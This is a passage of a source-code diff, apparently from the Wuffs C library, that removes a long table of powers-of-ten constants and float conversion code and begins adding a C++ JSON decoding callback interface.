0xE2280B6C20DD5232}, // 1e-72 +- {0x579C487E5A38AD0E, 0x8D590723948A535F}, // 1e-71 +- {0x2D835A9DF0C6D851, 0xB0AF48EC79ACE837}, // 1e-70 +- {0xF8E431456CF88E65, 0xDCDB1B2798182244}, // 1e-69 +- {0x1B8E9ECB641B58FF, 0x8A08F0F8BF0F156B}, // 1e-68 +- {0xE272467E3D222F3F, 0xAC8B2D36EED2DAC5}, // 1e-67 +- {0x5B0ED81DCC6ABB0F, 0xD7ADF884AA879177}, // 1e-66 +- {0x98E947129FC2B4E9, 0x86CCBB52EA94BAEA}, // 1e-65 +- {0x3F2398D747B36224, 0xA87FEA27A539E9A5}, // 1e-64 +- {0x8EEC7F0D19A03AAD, 0xD29FE4B18E88640E}, // 1e-63 +- {0x1953CF68300424AC, 0x83A3EEEEF9153E89}, // 1e-62 +- {0x5FA8C3423C052DD7, 0xA48CEAAAB75A8E2B}, // 1e-61 +- {0x3792F412CB06794D, 0xCDB02555653131B6}, // 1e-60 +- {0xE2BBD88BBEE40BD0, 0x808E17555F3EBF11}, // 1e-59 +- {0x5B6ACEAEAE9D0EC4, 0xA0B19D2AB70E6ED6}, // 1e-58 +- {0xF245825A5A445275, 0xC8DE047564D20A8B}, // 1e-57 +- {0xEED6E2F0F0D56712, 0xFB158592BE068D2E}, // 1e-56 +- {0x55464DD69685606B, 0x9CED737BB6C4183D}, // 1e-55 +- {0xAA97E14C3C26B886, 0xC428D05AA4751E4C}, // 1e-54 +- {0xD53DD99F4B3066A8, 0xF53304714D9265DF}, // 1e-53 +- {0xE546A8038EFE4029, 0x993FE2C6D07B7FAB}, // 1e-52 +- {0xDE98520472BDD033, 0xBF8FDB78849A5F96}, // 1e-51 +- {0x963E66858F6D4440, 0xEF73D256A5C0F77C}, // 1e-50 +- {0xDDE7001379A44AA8, 0x95A8637627989AAD}, // 1e-49 +- {0x5560C018580D5D52, 0xBB127C53B17EC159}, // 1e-48 +- {0xAAB8F01E6E10B4A6, 0xE9D71B689DDE71AF}, // 1e-47 +- {0xCAB3961304CA70E8, 0x9226712162AB070D}, // 1e-46 +- {0x3D607B97C5FD0D22, 0xB6B00D69BB55C8D1}, // 1e-45 +- {0x8CB89A7DB77C506A, 0xE45C10C42A2B3B05}, // 1e-44 +- {0x77F3608E92ADB242, 0x8EB98A7A9A5B04E3}, // 1e-43 +- {0x55F038B237591ED3, 0xB267ED1940F1C61C}, // 1e-42 +- {0x6B6C46DEC52F6688, 0xDF01E85F912E37A3}, // 1e-41 +- {0x2323AC4B3B3DA015, 0x8B61313BBABCE2C6}, // 1e-40 +- {0xABEC975E0A0D081A, 0xAE397D8AA96C1B77}, // 1e-39 +- {0x96E7BD358C904A21, 0xD9C7DCED53C72255}, // 1e-38 +- {0x7E50D64177DA2E54, 0x881CEA14545C7575}, // 1e-37 +- {0xDDE50BD1D5D0B9E9, 0xAA242499697392D2}, // 1e-36 +- {0x955E4EC64B44E864, 0xD4AD2DBFC3D07787}, // 1e-35 +- {0xBD5AF13BEF0B113E, 0x84EC3C97DA624AB4}, // 1e-34 +- {0xECB1AD8AEACDD58E, 0xA6274BBDD0FADD61}, // 1e-33 +- {0x67DE18EDA5814AF2, 0xCFB11EAD453994BA}, // 1e-32 +- {0x80EACF948770CED7, 0x81CEB32C4B43FCF4}, // 1e-31 +- {0xA1258379A94D028D, 0xA2425FF75E14FC31}, // 1e-30 +- {0x096EE45813A04330, 0xCAD2F7F5359A3B3E}, // 1e-29 +- {0x8BCA9D6E188853FC, 0xFD87B5F28300CA0D}, // 1e-28 +- {0x775EA264CF55347D, 0x9E74D1B791E07E48}, // 1e-27 +- {0x95364AFE032A819D, 0xC612062576589DDA}, // 1e-26 +- {0x3A83DDBD83F52204, 0xF79687AED3EEC551}, // 1e-25 +- {0xC4926A9672793542, 0x9ABE14CD44753B52}, // 1e-24 +- {0x75B7053C0F178293, 0xC16D9A0095928A27}, // 1e-23 +- {0x5324C68B12DD6338, 0xF1C90080BAF72CB1}, // 1e-22 +- {0xD3F6FC16EBCA5E03, 0x971DA05074DA7BEE}, // 1e-21 +- {0x88F4BB1CA6BCF584, 0xBCE5086492111AEA}, // 1e-20 +- {0x2B31E9E3D06C32E5, 0xEC1E4A7DB69561A5}, // 1e-19 +- {0x3AFF322E62439FCF, 0x9392EE8E921D5D07}, // 1e-18 +- {0x09BEFEB9FAD487C2, 0xB877AA3236A4B449}, // 1e-17 +- {0x4C2EBE687989A9B3, 0xE69594BEC44DE15B}, // 1e-16 +- {0x0F9D37014BF60A10, 0x901D7CF73AB0ACD9}, // 1e-15 +- {0x538484C19EF38C94, 0xB424DC35095CD80F}, // 1e-14 +- {0x2865A5F206B06FB9, 0xE12E13424BB40E13}, // 1e-13 +- {0xF93F87B7442E45D3, 0x8CBCCC096F5088CB}, // 1e-12 +- {0xF78F69A51539D748, 0xAFEBFF0BCB24AAFE}, // 1e-11 +- {0xB573440E5A884D1B, 0xDBE6FECEBDEDD5BE}, // 1e-10 +- {0x31680A88F8953030, 0x89705F4136B4A597}, // 1e-9 +- {0xFDC20D2B36BA7C3D, 0xABCC77118461CEFC}, // 1e-8 +- {0x3D32907604691B4C, 0xD6BF94D5E57A42BC}, // 1e-7 +- {0xA63F9A49C2C1B10F, 0x8637BD05AF6C69B5}, // 1e-6 +- {0x0FCF80DC33721D53, 0xA7C5AC471B478423}, // 1e-5 +- {0xD3C36113404EA4A8, 0xD1B71758E219652B}, // 1e-4 +- {0x645A1CAC083126E9, 0x83126E978D4FDF3B}, // 1e-3 +- {0x3D70A3D70A3D70A3, 0xA3D70A3D70A3D70A}, // 1e-2 +- {0xCCCCCCCCCCCCCCCC, 0xCCCCCCCCCCCCCCCC}, // 1e-1 +- {0x0000000000000000, 0x8000000000000000}, // 1e0 +- {0x0000000000000000, 0xA000000000000000}, // 1e1 +- {0x0000000000000000, 0xC800000000000000}, // 1e2 +- {0x0000000000000000, 0xFA00000000000000}, // 1e3 +- {0x0000000000000000, 0x9C40000000000000}, // 1e4 +- {0x0000000000000000, 0xC350000000000000}, // 1e5 +- {0x0000000000000000, 0xF424000000000000}, // 1e6 +- {0x0000000000000000, 0x9896800000000000}, // 1e7 +- {0x0000000000000000, 0xBEBC200000000000}, // 1e8 +- {0x0000000000000000, 0xEE6B280000000000}, // 1e9 +- {0x0000000000000000, 0x9502F90000000000}, // 1e10 +- {0x0000000000000000, 0xBA43B74000000000}, // 1e11 +- {0x0000000000000000, 0xE8D4A51000000000}, // 1e12 +- {0x0000000000000000, 0x9184E72A00000000}, // 1e13 +- {0x0000000000000000, 0xB5E620F480000000}, // 1e14 +- {0x0000000000000000, 0xE35FA931A0000000}, // 1e15 +- {0x0000000000000000, 0x8E1BC9BF04000000}, // 1e16 +- {0x0000000000000000, 0xB1A2BC2EC5000000}, // 1e17 +- {0x0000000000000000, 0xDE0B6B3A76400000}, // 1e18 +- {0x0000000000000000, 0x8AC7230489E80000}, // 1e19 +- {0x0000000000000000, 0xAD78EBC5AC620000}, // 1e20 +- {0x0000000000000000, 0xD8D726B7177A8000}, // 1e21 +- {0x0000000000000000, 0x878678326EAC9000}, // 1e22 +- {0x0000000000000000, 0xA968163F0A57B400}, // 1e23 +- {0x0000000000000000, 0xD3C21BCECCEDA100}, // 1e24 +- {0x0000000000000000, 0x84595161401484A0}, // 1e25 +- {0x0000000000000000, 0xA56FA5B99019A5C8}, // 1e26 +- {0x0000000000000000, 0xCECB8F27F4200F3A}, // 1e27 +- {0x4000000000000000, 0x813F3978F8940984}, // 1e28 +- {0x5000000000000000, 0xA18F07D736B90BE5}, // 1e29 +- {0xA400000000000000, 0xC9F2C9CD04674EDE}, // 1e30 +- {0x4D00000000000000, 0xFC6F7C4045812296}, // 1e31 +- {0xF020000000000000, 0x9DC5ADA82B70B59D}, // 1e32 +- {0x6C28000000000000, 0xC5371912364CE305}, // 1e33 +- {0xC732000000000000, 0xF684DF56C3E01BC6}, // 1e34 +- {0x3C7F400000000000, 0x9A130B963A6C115C}, // 1e35 +- {0x4B9F100000000000, 0xC097CE7BC90715B3}, // 1e36 +- {0x1E86D40000000000, 0xF0BDC21ABB48DB20}, // 1e37 +- {0x1314448000000000, 0x96769950B50D88F4}, // 1e38 +- {0x17D955A000000000, 0xBC143FA4E250EB31}, // 1e39 +- {0x5DCFAB0800000000, 0xEB194F8E1AE525FD}, // 1e40 +- {0x5AA1CAE500000000, 0x92EFD1B8D0CF37BE}, // 1e41 +- {0xF14A3D9E40000000, 0xB7ABC627050305AD}, // 1e42 +- {0x6D9CCD05D0000000, 0xE596B7B0C643C719}, // 1e43 +- {0xE4820023A2000000, 0x8F7E32CE7BEA5C6F}, // 1e44 +- {0xDDA2802C8A800000, 0xB35DBF821AE4F38B}, // 1e45 +- {0xD50B2037AD200000, 0xE0352F62A19E306E}, // 1e46 +- {0x4526F422CC340000, 0x8C213D9DA502DE45}, // 1e47 +- {0x9670B12B7F410000, 0xAF298D050E4395D6}, // 1e48 +- {0x3C0CDD765F114000, 0xDAF3F04651D47B4C}, // 1e49 +- {0xA5880A69FB6AC800, 0x88D8762BF324CD0F}, // 1e50 +- {0x8EEA0D047A457A00, 0xAB0E93B6EFEE0053}, // 1e51 +- {0x72A4904598D6D880, 0xD5D238A4ABE98068}, // 1e52 +- {0x47A6DA2B7F864750, 0x85A36366EB71F041}, // 1e53 +- {0x999090B65F67D924, 0xA70C3C40A64E6C51}, // 1e54 +- {0xFFF4B4E3F741CF6D, 0xD0CF4B50CFE20765}, // 1e55 +- {0xBFF8F10E7A8921A4, 0x82818F1281ED449F}, // 1e56 +- {0xAFF72D52192B6A0D, 0xA321F2D7226895C7}, // 1e57 +- {0x9BF4F8A69F764490, 0xCBEA6F8CEB02BB39}, // 1e58 +- {0x02F236D04753D5B4, 0xFEE50B7025C36A08}, // 1e59 +- {0x01D762422C946590, 0x9F4F2726179A2245}, // 1e60 +- {0x424D3AD2B7B97EF5, 0xC722F0EF9D80AAD6}, // 1e61 +- {0xD2E0898765A7DEB2, 0xF8EBAD2B84E0D58B}, // 1e62 +- {0x63CC55F49F88EB2F, 0x9B934C3B330C8577}, // 1e63 +- {0x3CBF6B71C76B25FB, 0xC2781F49FFCFA6D5}, // 1e64 +- {0x8BEF464E3945EF7A, 0xF316271C7FC3908A}, // 1e65 +- {0x97758BF0E3CBB5AC, 0x97EDD871CFDA3A56}, // 1e66 +- {0x3D52EEED1CBEA317, 0xBDE94E8E43D0C8EC}, // 1e67 +- {0x4CA7AAA863EE4BDD, 0xED63A231D4C4FB27}, // 1e68 +- {0x8FE8CAA93E74EF6A, 0x945E455F24FB1CF8}, // 1e69 +- {0xB3E2FD538E122B44, 0xB975D6B6EE39E436}, // 1e70 +- {0x60DBBCA87196B616, 0xE7D34C64A9C85D44}, // 1e71 +- {0xBC8955E946FE31CD, 0x90E40FBEEA1D3A4A}, // 1e72 +- {0x6BABAB6398BDBE41, 0xB51D13AEA4A488DD}, // 1e73 +- {0xC696963C7EED2DD1, 0xE264589A4DCDAB14}, // 1e74 +- {0xFC1E1DE5CF543CA2, 0x8D7EB76070A08AEC}, // 1e75 +- {0x3B25A55F43294BCB, 0xB0DE65388CC8ADA8}, // 1e76 +- {0x49EF0EB713F39EBE, 0xDD15FE86AFFAD912}, // 1e77 +- {0x6E3569326C784337, 0x8A2DBF142DFCC7AB}, // 1e78 +- {0x49C2C37F07965404, 0xACB92ED9397BF996}, // 1e79 +- {0xDC33745EC97BE906, 0xD7E77A8F87DAF7FB}, // 1e80 +- {0x69A028BB3DED71A3, 0x86F0AC99B4E8DAFD}, // 1e81 +- {0xC40832EA0D68CE0C, 0xA8ACD7C0222311BC}, // 1e82 +- {0xF50A3FA490C30190, 0xD2D80DB02AABD62B}, // 1e83 +- {0x792667C6DA79E0FA, 0x83C7088E1AAB65DB}, // 1e84 +- {0x577001B891185938, 0xA4B8CAB1A1563F52}, // 1e85 +- {0xED4C0226B55E6F86, 0xCDE6FD5E09ABCF26}, // 1e86 +- {0x544F8158315B05B4, 0x80B05E5AC60B6178}, // 1e87 +- {0x696361AE3DB1C721, 0xA0DC75F1778E39D6}, // 1e88 +- {0x03BC3A19CD1E38E9, 0xC913936DD571C84C}, // 1e89 +- {0x04AB48A04065C723, 0xFB5878494ACE3A5F}, // 1e90 +- {0x62EB0D64283F9C76, 0x9D174B2DCEC0E47B}, // 1e91 +- {0x3BA5D0BD324F8394, 0xC45D1DF942711D9A}, // 1e92 +- {0xCA8F44EC7EE36479, 0xF5746577930D6500}, // 1e93 +- {0x7E998B13CF4E1ECB, 0x9968BF6ABBE85F20}, // 1e94 +- {0x9E3FEDD8C321A67E, 0xBFC2EF456AE276E8}, // 1e95 +- {0xC5CFE94EF3EA101E, 0xEFB3AB16C59B14A2}, // 1e96 +- {0xBBA1F1D158724A12, 0x95D04AEE3B80ECE5}, // 1e97 +- {0x2A8A6E45AE8EDC97, 0xBB445DA9CA61281F}, // 1e98 +- {0xF52D09D71A3293BD, 0xEA1575143CF97226}, // 1e99 +- {0x593C2626705F9C56, 0x924D692CA61BE758}, // 1e100 +- {0x6F8B2FB00C77836C, 0xB6E0C377CFA2E12E}, // 1e101 +- {0x0B6DFB9C0F956447, 0xE498F455C38B997A}, // 1e102 +- {0x4724BD4189BD5EAC, 0x8EDF98B59A373FEC}, // 1e103 +- {0x58EDEC91EC2CB657, 0xB2977EE300C50FE7}, // 1e104 +- {0x2F2967B66737E3ED, 0xDF3D5E9BC0F653E1}, // 1e105 +- {0xBD79E0D20082EE74, 0x8B865B215899F46C}, // 1e106 +- {0xECD8590680A3AA11, 0xAE67F1E9AEC07187}, // 1e107 +- {0xE80E6F4820CC9495, 0xDA01EE641A708DE9}, // 1e108 +- {0x3109058D147FDCDD, 0x884134FE908658B2}, // 1e109 +- {0xBD4B46F0599FD415, 0xAA51823E34A7EEDE}, // 1e110 +- {0x6C9E18AC7007C91A, 0xD4E5E2CDC1D1EA96}, // 1e111 +- {0x03E2CF6BC604DDB0, 0x850FADC09923329E}, // 1e112 +- {0x84DB8346B786151C, 0xA6539930BF6BFF45}, // 1e113 +- {0xE612641865679A63, 0xCFE87F7CEF46FF16}, // 1e114 +- {0x4FCB7E8F3F60C07E, 0x81F14FAE158C5F6E}, // 1e115 +- {0xE3BE5E330F38F09D, 0xA26DA3999AEF7749}, // 1e116 +- {0x5CADF5BFD3072CC5, 0xCB090C8001AB551C}, // 1e117 +- {0x73D9732FC7C8F7F6, 0xFDCB4FA002162A63}, // 1e118 +- {0x2867E7FDDCDD9AFA, 0x9E9F11C4014DDA7E}, // 1e119 +- {0xB281E1FD541501B8, 0xC646D63501A1511D}, // 1e120 +- {0x1F225A7CA91A4226, 0xF7D88BC24209A565}, // 1e121 +- {0x3375788DE9B06958, 0x9AE757596946075F}, // 1e122 +- {0x0052D6B1641C83AE, 0xC1A12D2FC3978937}, // 1e123 +- {0xC0678C5DBD23A49A, 0xF209787BB47D6B84}, // 1e124 +- {0xF840B7BA963646E0, 0x9745EB4D50CE6332}, // 1e125 +- {0xB650E5A93BC3D898, 0xBD176620A501FBFF}, // 1e126 +- {0xA3E51F138AB4CEBE, 0xEC5D3FA8CE427AFF}, // 1e127 +- {0xC66F336C36B10137, 0x93BA47C980E98CDF}, // 1e128 +- {0xB80B0047445D4184, 0xB8A8D9BBE123F017}, // 1e129 +- {0xA60DC059157491E5, 0xE6D3102AD96CEC1D}, // 1e130 +- {0x87C89837AD68DB2F, 0x9043EA1AC7E41392}, // 1e131 +- {0x29BABE4598C311FB, 0xB454E4A179DD1877}, // 1e132 +- {0xF4296DD6FEF3D67A, 0xE16A1DC9D8545E94}, // 1e133 +- {0x1899E4A65F58660C, 0x8CE2529E2734BB1D}, // 1e134 +- {0x5EC05DCFF72E7F8F, 0xB01AE745B101E9E4}, // 1e135 +- {0x76707543F4FA1F73, 0xDC21A1171D42645D}, // 1e136 +- {0x6A06494A791C53A8, 0x899504AE72497EBA}, // 1e137 +- {0x0487DB9D17636892, 0xABFA45DA0EDBDE69}, // 1e138 +- {0x45A9D2845D3C42B6, 0xD6F8D7509292D603}, // 1e139 +- {0x0B8A2392BA45A9B2, 0x865B86925B9BC5C2}, // 1e140 +- {0x8E6CAC7768D7141E, 0xA7F26836F282B732}, // 1e141 +- {0x3207D795430CD926, 0xD1EF0244AF2364FF}, // 1e142 +- {0x7F44E6BD49E807B8, 0x8335616AED761F1F}, // 1e143 +- {0x5F16206C9C6209A6, 0xA402B9C5A8D3A6E7}, // 1e144 +- {0x36DBA887C37A8C0F, 0xCD036837130890A1}, // 1e145 +- {0xC2494954DA2C9789, 0x802221226BE55A64}, // 1e146 +- {0xF2DB9BAA10B7BD6C, 0xA02AA96B06DEB0FD}, // 1e147 +- {0x6F92829494E5ACC7, 0xC83553C5C8965D3D}, // 1e148 +- {0xCB772339BA1F17F9, 0xFA42A8B73ABBF48C}, // 1e149 +- {0xFF2A760414536EFB, 0x9C69A97284B578D7}, // 1e150 +- {0xFEF5138519684ABA, 0xC38413CF25E2D70D}, // 1e151 +- {0x7EB258665FC25D69, 0xF46518C2EF5B8CD1}, // 1e152 +- {0xEF2F773FFBD97A61, 0x98BF2F79D5993802}, // 1e153 +- {0xAAFB550FFACFD8FA, 0xBEEEFB584AFF8603}, // 1e154 +- {0x95BA2A53F983CF38, 0xEEAABA2E5DBF6784}, // 1e155 +- {0xDD945A747BF26183, 0x952AB45CFA97A0B2}, // 1e156 +- {0x94F971119AEEF9E4, 0xBA756174393D88DF}, // 1e157 +- {0x7A37CD5601AAB85D, 0xE912B9D1478CEB17}, // 1e158 +- {0xAC62E055C10AB33A, 0x91ABB422CCB812EE}, // 1e159 +- {0x577B986B314D6009, 0xB616A12B7FE617AA}, // 1e160 +- {0xED5A7E85FDA0B80B, 0xE39C49765FDF9D94}, // 1e161 +- {0x14588F13BE847307, 0x8E41ADE9FBEBC27D}, // 1e162 +- {0x596EB2D8AE258FC8, 0xB1D219647AE6B31C}, // 1e163 +- {0x6FCA5F8ED9AEF3BB, 0xDE469FBD99A05FE3}, // 1e164 +- {0x25DE7BB9480D5854, 0x8AEC23D680043BEE}, // 1e165 +- {0xAF561AA79A10AE6A, 0xADA72CCC20054AE9}, // 1e166 +- {0x1B2BA1518094DA04, 0xD910F7FF28069DA4}, // 1e167 +- {0x90FB44D2F05D0842, 0x87AA9AFF79042286}, // 1e168 +- {0x353A1607AC744A53, 0xA99541BF57452B28}, // 1e169 +- {0x42889B8997915CE8, 0xD3FA922F2D1675F2}, // 1e170 +- {0x69956135FEBADA11, 0x847C9B5D7C2E09B7}, // 1e171 +- {0x43FAB9837E699095, 0xA59BC234DB398C25}, // 1e172 +- {0x94F967E45E03F4BB, 0xCF02B2C21207EF2E}, // 1e173 +- {0x1D1BE0EEBAC278F5, 0x8161AFB94B44F57D}, // 1e174 +- {0x6462D92A69731732, 0xA1BA1BA79E1632DC}, // 1e175 +- {0x7D7B8F7503CFDCFE, 0xCA28A291859BBF93}, // 1e176 +- {0x5CDA735244C3D43E, 0xFCB2CB35E702AF78}, // 1e177 +- {0x3A0888136AFA64A7, 0x9DEFBF01B061ADAB}, // 1e178 +- {0x088AAA1845B8FDD0, 0xC56BAEC21C7A1916}, // 1e179 +- {0x8AAD549E57273D45, 0xF6C69A72A3989F5B}, // 1e180 +- {0x36AC54E2F678864B, 0x9A3C2087A63F6399}, // 1e181 +- {0x84576A1BB416A7DD, 0xC0CB28A98FCF3C7F}, // 1e182 +- {0x656D44A2A11C51D5, 0xF0FDF2D3F3C30B9F}, // 1e183 +- {0x9F644AE5A4B1B325, 0x969EB7C47859E743}, // 1e184 +- {0x873D5D9F0DDE1FEE, 0xBC4665B596706114}, // 1e185 +- {0xA90CB506D155A7EA, 0xEB57FF22FC0C7959}, // 1e186 +- {0x09A7F12442D588F2, 0x9316FF75DD87CBD8}, // 1e187 +- {0x0C11ED6D538AEB2F, 0xB7DCBF5354E9BECE}, // 1e188 +- {0x8F1668C8A86DA5FA, 0xE5D3EF282A242E81}, // 1e189 +- {0xF96E017D694487BC, 0x8FA475791A569D10}, // 1e190 +- {0x37C981DCC395A9AC, 0xB38D92D760EC4455}, // 1e191 +- {0x85BBE253F47B1417, 0xE070F78D3927556A}, // 1e192 +- {0x93956D7478CCEC8E, 0x8C469AB843B89562}, // 1e193 +- {0x387AC8D1970027B2, 0xAF58416654A6BABB}, // 1e194 +- {0x06997B05FCC0319E, 0xDB2E51BFE9D0696A}, // 1e195 +- {0x441FECE3BDF81F03, 0x88FCF317F22241E2}, // 1e196 +- {0xD527E81CAD7626C3, 0xAB3C2FDDEEAAD25A}, // 1e197 +- {0x8A71E223D8D3B074, 0xD60B3BD56A5586F1}, // 1e198 +- {0xF6872D5667844E49, 0x85C7056562757456}, // 1e199 +- {0xB428F8AC016561DB, 0xA738C6BEBB12D16C}, // 1e200 +- {0xE13336D701BEBA52, 0xD106F86E69D785C7}, // 1e201 +- {0xECC0024661173473, 0x82A45B450226B39C}, // 1e202 +- {0x27F002D7F95D0190, 0xA34D721642B06084}, // 1e203 +- {0x31EC038DF7B441F4, 0xCC20CE9BD35C78A5}, // 1e204 +- {0x7E67047175A15271, 0xFF290242C83396CE}, // 1e205 +- {0x0F0062C6E984D386, 0x9F79A169BD203E41}, // 1e206 +- {0x52C07B78A3E60868, 0xC75809C42C684DD1}, // 1e207 +- {0xA7709A56CCDF8A82, 0xF92E0C3537826145}, // 1e208 +- {0x88A66076400BB691, 0x9BBCC7A142B17CCB}, // 1e209 +- {0x6ACFF893D00EA435, 0xC2ABF989935DDBFE}, // 1e210 +- {0x0583F6B8C4124D43, 0xF356F7EBF83552FE}, // 1e211 +- {0xC3727A337A8B704A, 0x98165AF37B2153DE}, // 1e212 +- {0x744F18C0592E4C5C, 0xBE1BF1B059E9A8D6}, // 1e213 +- {0x1162DEF06F79DF73, 0xEDA2EE1C7064130C}, // 1e214 +- {0x8ADDCB5645AC2BA8, 0x9485D4D1C63E8BE7}, // 1e215 +- {0x6D953E2BD7173692, 0xB9A74A0637CE2EE1}, // 1e216 +- {0xC8FA8DB6CCDD0437, 0xE8111C87C5C1BA99}, // 1e217 +- {0x1D9C9892400A22A2, 0x910AB1D4DB9914A0}, // 1e218 +- {0x2503BEB6D00CAB4B, 0xB54D5E4A127F59C8}, // 1e219 +- {0x2E44AE64840FD61D, 0xE2A0B5DC971F303A}, // 1e220 +- {0x5CEAECFED289E5D2, 0x8DA471A9DE737E24}, // 1e221 +- {0x7425A83E872C5F47, 0xB10D8E1456105DAD}, // 1e222 +- {0xD12F124E28F77719, 0xDD50F1996B947518}, // 1e223 +- {0x82BD6B70D99AAA6F, 0x8A5296FFE33CC92F}, // 1e224 +- {0x636CC64D1001550B, 0xACE73CBFDC0BFB7B}, // 1e225 +- {0x3C47F7E05401AA4E, 0xD8210BEFD30EFA5A}, // 1e226 +- {0x65ACFAEC34810A71, 0x8714A775E3E95C78}, // 1e227 +- {0x7F1839A741A14D0D, 0xA8D9D1535CE3B396}, // 1e228 +- {0x1EDE48111209A050, 0xD31045A8341CA07C}, // 1e229 +- {0x934AED0AAB460432, 0x83EA2B892091E44D}, // 1e230 +- {0xF81DA84D5617853F, 0xA4E4B66B68B65D60}, // 1e231 +- {0x36251260AB9D668E, 0xCE1DE40642E3F4B9}, // 1e232 +- {0xC1D72B7C6B426019, 0x80D2AE83E9CE78F3}, // 1e233 +- {0xB24CF65B8612F81F, 0xA1075A24E4421730}, // 1e234 +- {0xDEE033F26797B627, 0xC94930AE1D529CFC}, // 1e235 +- {0x169840EF017DA3B1, 0xFB9B7CD9A4A7443C}, // 1e236 +- {0x8E1F289560EE864E, 0x9D412E0806E88AA5}, // 1e237 +- {0xF1A6F2BAB92A27E2, 0xC491798A08A2AD4E}, // 1e238 +- {0xAE10AF696774B1DB, 0xF5B5D7EC8ACB58A2}, // 1e239 +- {0xACCA6DA1E0A8EF29, 0x9991A6F3D6BF1765}, // 1e240 +- {0x17FD090A58D32AF3, 0xBFF610B0CC6EDD3F}, // 1e241 +- {0xDDFC4B4CEF07F5B0, 0xEFF394DCFF8A948E}, // 1e242 +- {0x4ABDAF101564F98E, 0x95F83D0A1FB69CD9}, // 1e243 +- {0x9D6D1AD41ABE37F1, 0xBB764C4CA7A4440F}, // 1e244 +- {0x84C86189216DC5ED, 0xEA53DF5FD18D5513}, // 1e245 +- {0x32FD3CF5B4E49BB4, 0x92746B9BE2F8552C}, // 1e246 +- {0x3FBC8C33221DC2A1, 0xB7118682DBB66A77}, // 1e247 +- {0x0FABAF3FEAA5334A, 0xE4D5E82392A40515}, // 1e248 +- {0x29CB4D87F2A7400E, 0x8F05B1163BA6832D}, // 1e249 +- {0x743E20E9EF511012, 0xB2C71D5BCA9023F8}, // 1e250 +- {0x914DA9246B255416, 0xDF78E4B2BD342CF6}, // 1e251 +- {0x1AD089B6C2F7548E, 0x8BAB8EEFB6409C1A}, // 1e252 +- {0xA184AC2473B529B1, 0xAE9672ABA3D0C320}, // 1e253 +- {0xC9E5D72D90A2741E, 0xDA3C0F568CC4F3E8}, // 1e254 +- {0x7E2FA67C7A658892, 0x8865899617FB1871}, // 1e255 +- {0xDDBB901B98FEEAB7, 0xAA7EEBFB9DF9DE8D}, // 1e256 +- {0x552A74227F3EA565, 0xD51EA6FA85785631}, // 1e257 +- {0xD53A88958F87275F, 0x8533285C936B35DE}, // 1e258 +- {0x8A892ABAF368F137, 0xA67FF273B8460356}, // 1e259 +- {0x2D2B7569B0432D85, 0xD01FEF10A657842C}, // 1e260 +- {0x9C3B29620E29FC73, 0x8213F56A67F6B29B}, // 1e261 +- {0x8349F3BA91B47B8F, 0xA298F2C501F45F42}, // 1e262 +- {0x241C70A936219A73, 0xCB3F2F7642717713}, // 1e263 +- {0xED238CD383AA0110, 0xFE0EFB53D30DD4D7}, // 1e264 +- {0xF4363804324A40AA, 0x9EC95D1463E8A506}, // 1e265 +- {0xB143C6053EDCD0D5, 0xC67BB4597CE2CE48}, // 1e266 +- {0xDD94B7868E94050A, 0xF81AA16FDC1B81DA}, // 1e267 +- {0xCA7CF2B4191C8326, 0x9B10A4E5E9913128}, // 1e268 +- {0xFD1C2F611F63A3F0, 0xC1D4CE1F63F57D72}, // 1e269 +- {0xBC633B39673C8CEC, 0xF24A01A73CF2DCCF}, // 1e270 +- {0xD5BE0503E085D813, 0x976E41088617CA01}, // 1e271 +- {0x4B2D8644D8A74E18, 0xBD49D14AA79DBC82}, // 1e272 +- {0xDDF8E7D60ED1219E, 0xEC9C459D51852BA2}, // 1e273 +- {0xCABB90E5C942B503, 0x93E1AB8252F33B45}, // 1e274 +- {0x3D6A751F3B936243, 0xB8DA1662E7B00A17}, // 1e275 +- {0x0CC512670A783AD4, 0xE7109BFBA19C0C9D}, // 1e276 +- {0x27FB2B80668B24C5, 0x906A617D450187E2}, // 1e277 +- {0xB1F9F660802DEDF6, 0xB484F9DC9641E9DA}, // 1e278 +- {0x5E7873F8A0396973, 0xE1A63853BBD26451}, // 1e279 +- {0xDB0B487B6423E1E8, 0x8D07E33455637EB2}, // 1e280 +- {0x91CE1A9A3D2CDA62, 0xB049DC016ABC5E5F}, // 1e281 +- {0x7641A140CC7810FB, 0xDC5C5301C56B75F7}, // 1e282 +- {0xA9E904C87FCB0A9D, 0x89B9B3E11B6329BA}, // 1e283 +- {0x546345FA9FBDCD44, 0xAC2820D9623BF429}, // 1e284 +- {0xA97C177947AD4095, 0xD732290FBACAF133}, // 1e285 +- {0x49ED8EABCCCC485D, 0x867F59A9D4BED6C0}, // 1e286 +- {0x5C68F256BFFF5A74, 0xA81F301449EE8C70}, // 1e287 +- {0x73832EEC6FFF3111, 0xD226FC195C6A2F8C}, // 1e288 +-}; ++// ---------------- Auxiliary - JSON + +-// wuffs_base__private_implementation__f64_powers_of_10 holds powers of 10 that +-// can be exactly represented by a float64 (what C calls a double). +-static const double wuffs_base__private_implementation__f64_powers_of_10[23] = { +- 1e0, 1e1, 1e2, 1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9, 1e10, 1e11, +- 1e12, 1e13, 1e14, 1e15, 1e16, 1e17, 1e18, 1e19, 1e20, 1e21, 1e22, ++namespace wuffs_aux { ++ ++struct DecodeJsonResult { ++ DecodeJsonResult(std::string&& error_message0, uint64_t cursor_position0); ++ ++ std::string error_message; ++ uint64_t cursor_position; + }; + +-// ---------------- IEEE 754 Floating Point ++class DecodeJsonCallbacks { ++ public: ++ virtual ~DecodeJsonCallbacks(); + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u16 // +-wuffs_base__ieee_754_bit_representation__from_f64_to_u16_truncate(double f) { +- uint64_t u = 0; +- if (sizeof(uint64_t) == sizeof(double)) { +- memcpy(&u, &f, sizeof(uint64_t)); +- } +- uint16_t neg = ((uint16_t)((u >> 63) << 15)); +- u &= 0x7FFFFFFFFFFFFFFF; +- uint64_t exp = u >> 52; +- uint64_t man = u & 0x000FFFFFFFFFFFFF; ++ // AppendXxx are called for leaf nodes: literals, numbers and strings. For ++ // strings, the Callbacks implementation is responsible for tracking map keys ++ // versus other values. + +- if (exp == 0x7FF) { +- if (man == 0) { // Infinity. +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg | 0x7C00; +- ret.lossy = false; +- return ret; +- } +- // NaN. Shift the 52 mantissa bits to 10 mantissa bits, keeping the most +- // significant mantissa bit (quiet vs signaling NaNs). Also set the low 9 +- // bits of ret.value so that the 10-bit mantissa is non-zero. +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg | 0x7DFF | ((uint16_t)(man >> 42)); +- ret.lossy = false; +- return ret; ++ virtual std::string AppendNull() = 0; ++ virtual std::string AppendBool(bool val) = 0; ++ virtual 